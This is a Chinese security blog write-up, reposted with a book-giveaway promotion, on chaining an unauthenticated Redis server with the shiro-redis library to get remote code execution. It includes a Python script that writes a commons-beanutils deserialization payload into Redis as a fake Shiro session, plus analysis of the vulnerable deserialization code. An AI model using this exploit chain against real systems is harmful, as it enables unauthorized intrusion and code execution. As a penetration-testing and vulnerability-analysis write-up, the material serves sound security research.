redis未授权到shiro反序列化【文末抽奖】

admin 2022年9月10日14:24:38安全文章评论7 views4730字阅读15分46秒阅读模式

redis未授权到shiro反序列化

0x01 简介

在一次渗透测试的过程中发现6379端口上开着一个未授权的redis,尝试利用redis进行rce失败。又发现redis缓存了shiro的session,最终通过redis未授权配合shiro-redis反序列化实现rce

0x02 尝试redis rce

拿到目标站点ip,首先使用nmap,shodan收集端口信息

redis未授权到shiro反序列化【文末抽奖】

shodan检测显示6379端口存在redis未授权

redis未授权到shiro反序列化【文末抽奖】


redis-cli登陆一下,收集信息,发现是3.2.100版本,操作系统是windows

redis未授权到shiro反序列化【文末抽奖】


考虑一下目前爆出的redis漏洞,一般都需要linux系统环境,4.X及以上的redis版本,这台redis打不了。
也尝试了redis写webshell,redis写sshkey,均利用不成功。
这个时候注意到了redis里面存储了shiro的session:

redis未授权到shiro反序列化【文末抽奖】

将value读取出来,发现里面数据开头是xacxed,经典的java序列化数据开头。


redis未授权到shiro反序列化【文末抽奖】

同时想到shiro存在反序列化漏洞,虽然这个目标打不了shiro-550这样的反序列化,但是是否可以通过修改redis中存储的shiro session来进行反序列化攻击?

0x03 shiro-redis反序列化

先了解下shiro为何在redis中存储session。session一般存储于服务端,用来保存用户的认证信息。shiro默认将session存储在内存里面。这样导致shiro的session是不共享的。使用redis来存储shiro session可以让其他服务也共享shiro的认证信息。
redis未授权到shiro反序列化【文末抽奖】

github上可以找到shiro-redis的实现是这个项目,有1.1k个star:https://github.com/alexxiyang/shiro-redis
查看文档知道作者要求导入如下依赖:
<dependency>
<groupId>org.crazycake</groupId>
<artifactId>shiro-redis</artifactId>
<version>3.3.1</version>
</dependency>
这里使用他的一个已经配置好的项目:https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial
首先本地启动一个3.2.100版本的redis镜像,然后下载这个项目,在IDEA中运行。
redis未授权到shiro反序列化【文末抽奖】
使用默认的用户名和密码登陆。登陆成功后界面上显示自己的session。
redis未授权到shiro反序列化【文末抽奖】
查看本地测试环境中的redis,发现已经添加了shiro session。

redis未授权到shiro反序列化【文末抽奖】


下面尝试将反序列化poc写入redis,然后模拟用户访问shiro,导致shiro读取出redis中存储的反序列化数据,触发反序列化漏洞。
由于redis-cli或redis图形化客户端将hex形式的poc存入redis会出现字符转义不正确或者其他问题,我使用python编写脚本将poc写入redis。脚本内容如下:
import pyyso
import socket

s=socket.socket()
s.connect(("127.0.0.1",6379))
whatever=b"123"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("open /")
s.send(b"x2ax33x0dx0ax24x33x0dx0aSETrnx24"+str(len(key)).encode()+b"rn"+key+b"rnx24"+str(len(value)).encode()+b"rn"+value+b"rn")
if b"+OK" in s.recv(3):
print("success")
反序列化的链选取改造过的commons-beanutils利用链来满足shiro环境中的依赖。这里用了一个自己编写的包pyyso:https://github.com/cokeBeer/pyyso
pyyso可以直接生成反序列化的数据,简化脚本编写。
然后使用socket发送set指令来写入poc。这里redis的set指令格式如下
x2ax33 固定值
x0dx0a 换行
x24x33 固定值
x0dx0a 换行
SET
x0dx0a 换行
x24x??x?? 十进制的key长度,例如3就是x33,12就是x31x32
x0dx0a 换行
x??x?? key
x0dx0a 换行
x24x??x?? 十进制的value长度
x0dx0a 换行
x??x?? value
x0dx0a 换行
运行脚本,将一个名为shiro:session:123的key写入了redis中,内容即嵌入了指令的cb链
redis未授权到shiro反序列化【文末抽奖】

然后回到浏览器端,将JESSIONID改为123
redis未授权到shiro反序列化【文末抽奖】

发送请求,反序列化触发,弹出了根目录


redis未授权到shiro反序列化【文末抽奖】


由此实现了shiro-redis的反序列化rce

0x04 调试分析

这里调试一下漏洞触发过程。首先定位到导入的依赖包org.crazycake.shiro-redis,触发点在org.crazycake.shiro.RedisSessionDAO#doReadSession,当shiro需要从redis读取session时就会调用这个方法
protected Session doReadSession(Serializable sessionId) {

...

Session session = null;
try {
String sessionRedisKey = getRedisSessionKey(sessionId);
logger.debug("read session: " + sessionRedisKey + " from Redis");
session = (Session) valueSerializer.deserialize(redisManager.get(keySerializer.serialize(sessionRedisKey))); //触发点
if (this.sessionInMemoryEnabled) {
setSessionToThreadLocal(sessionId, session);
}
} catch (SerializationException e) {
logger.error("read session error. sessionId: " + sessionId);
}
return session;
}
可以看到里面使用redisManager.get获取redis中存储的序列化数据,然后交给valueSerializer.deserialize进行反序列化。这里跟进去,定位到org.crazycake.shiro.serializer.ObjectSerializer#deserialize:
public Object deserialize(byte[] bytes) throws SerializationException {
Object result = null;

if (bytes == null || bytes.length == 0) {
return result;
}

try {
ByteArrayInputStream byteStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new MultiClassLoaderObjectInputStream(byteStream);
result = objectInputStream.readObject();
} catch (IOException e) {
throw new SerializationException("deserialize error", e);
} catch (ClassNotFoundException e) {
throw new SerializationException("deserialize error", e);
}

return result;
}
内部将redis读取出的字节数组转换为对象流,然后readObject方法触发反序列化

0x05 总结

如果实际渗透测试时遇到redis未授权漏洞,同时配置了shiro-redis,那么可以考虑通过向redis写入shiro session来打反序列化。PS: 下面是我们团队的公众号,以后会持续更新安全技术类文章,欢迎师傅们关注。

以上来源:先知(https://xz.aliyun.com/t/11198)

redis未授权到shiro反序列化【文末抽奖】


redis未授权到shiro反序列化【文末抽奖】粉丝福利redis未授权到shiro反序列化【文末抽奖】

 为了感谢大家一直以来的关注与支持,会有书籍免费赠送redis未授权到shiro反序列化【文末抽奖】

redis未授权到shiro反序列化【文末抽奖】书籍介绍:
一:Kerberos域网络安全从入门到精通
redis未授权到shiro反序列化【文末抽奖】
1.详细分析kerberos域网络安全漏洞,有针对性介绍攻防对抗方,维护kerberos域网络安全,保证企业网络安全稳定运行。Kerberos域网络作为承载企业资源和个人资源的基础网络,一旦失陷后果 严重。解决域网络安全问题是攻防从业人员必须解决的难题,本书详细介绍所有域网络相关漏洞,并给出攻防对抗方法,让安全从业人员“知己知彼,百战百胜”。2. 首本成体系的kerberos域网络安全教程,填补域网络安全书籍空白。域网络安全 重要,但是市场上关于域网络安全的图书都是国外引进,并不 适应我国企业需求,本书则从 企业的实际需求出发,介绍符合实际的攻防对抗方案, 有参考价值。3.原理介绍 + 案例分析 + 实验演示,增强了本书的可读性与实践指导性,读者能轻松、系统地掌握 Kerberos 域网络安全的相关内容,为我国 Kerberos 域网络的安全建设工作添砖加瓦。
二:硬件十万个为什么

硬件产品开发是一项复杂的工程,涉及产品定义、成本控制、质量管理、进度管理、研发管理、生产管控、供应链管理和售后服务等多个环节。合理的流程可以化繁为简,提升沟通及合作效率,降低风险,确保项目按计划交付。

本书分为10个章节,分别对硬件产品开发过程中的各个关键环节进行了详细的介绍。每个环节都有相应的模板和说明,并且通过实际案例来说明流程的重要性和使用方法,旨在帮助硬件工程师和初创团队更快地熟悉和掌握开发流程。

本书内容深入浅出、易学易懂,适合广大高校的师生、硬件工程师和初创团队的管理者参考使用。

三:物联网软件架构设计与实现
redis未授权到shiro反序列化【文末抽奖】
目前,物联网进入了与传统产业深度融合发展的新阶段,工业制造领域的转型升级成为工业物联网发展的重要驱动力,软件与硬件协同发展将成为物联网发展的重要趋势。本书从物联网软件框架的角度出发进行顶层设计,解决集成设备过程中多协议、多交互机制、多数据格式的问题,全面阐述设备数据和系统数据集成过程中面临的实际问题。本书涵盖通信框架、设备驱动管理器的设计、插件引擎设计、序列号的设计、OPC Server和OPC Client服务介绍及应用案例分享等内容,全面介绍物联网软件框架的整体实现过程。本书逻辑性强、整体性好,适合有一定编程基础的开发人员、框架设计人员、方案设计人员和即将步入职场的高校学生学习。

redis未授权到shiro反序列化【文末抽奖】规则如下:
     1.  转发朋友圈,中奖后转发视为无效。
     2. 私聊文末公众号发送0910即可扫描参与抽奖,注意看是发送暗号0910
     3. 中奖者不满足条件1,请不要加运营微信兑奖了哦。
     4. 活动截止时间09月10日 18:00点,到时候还要中奖者及时联系号主发送你的中奖核验二维码、朋友圈转发截图、收货地址、姓名、手机号以及想要的书籍,好给您发送书籍哦!24小时内未联系号主视为自动放弃!骗书行为出版社会永久拉黑!

先点“再看”,然后点击下方公众号私聊发送“0910” 即可马上扫描参与抽奖redis未授权到shiro反序列化【文末抽奖】

原文始发于微信公众号(橘猫学安全):redis未授权到shiro反序列化【文末抽奖】

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月10日14:24:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  redis未授权到shiro反序列化【文末抽奖】 http://cn-sec.com/archives/1290248.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: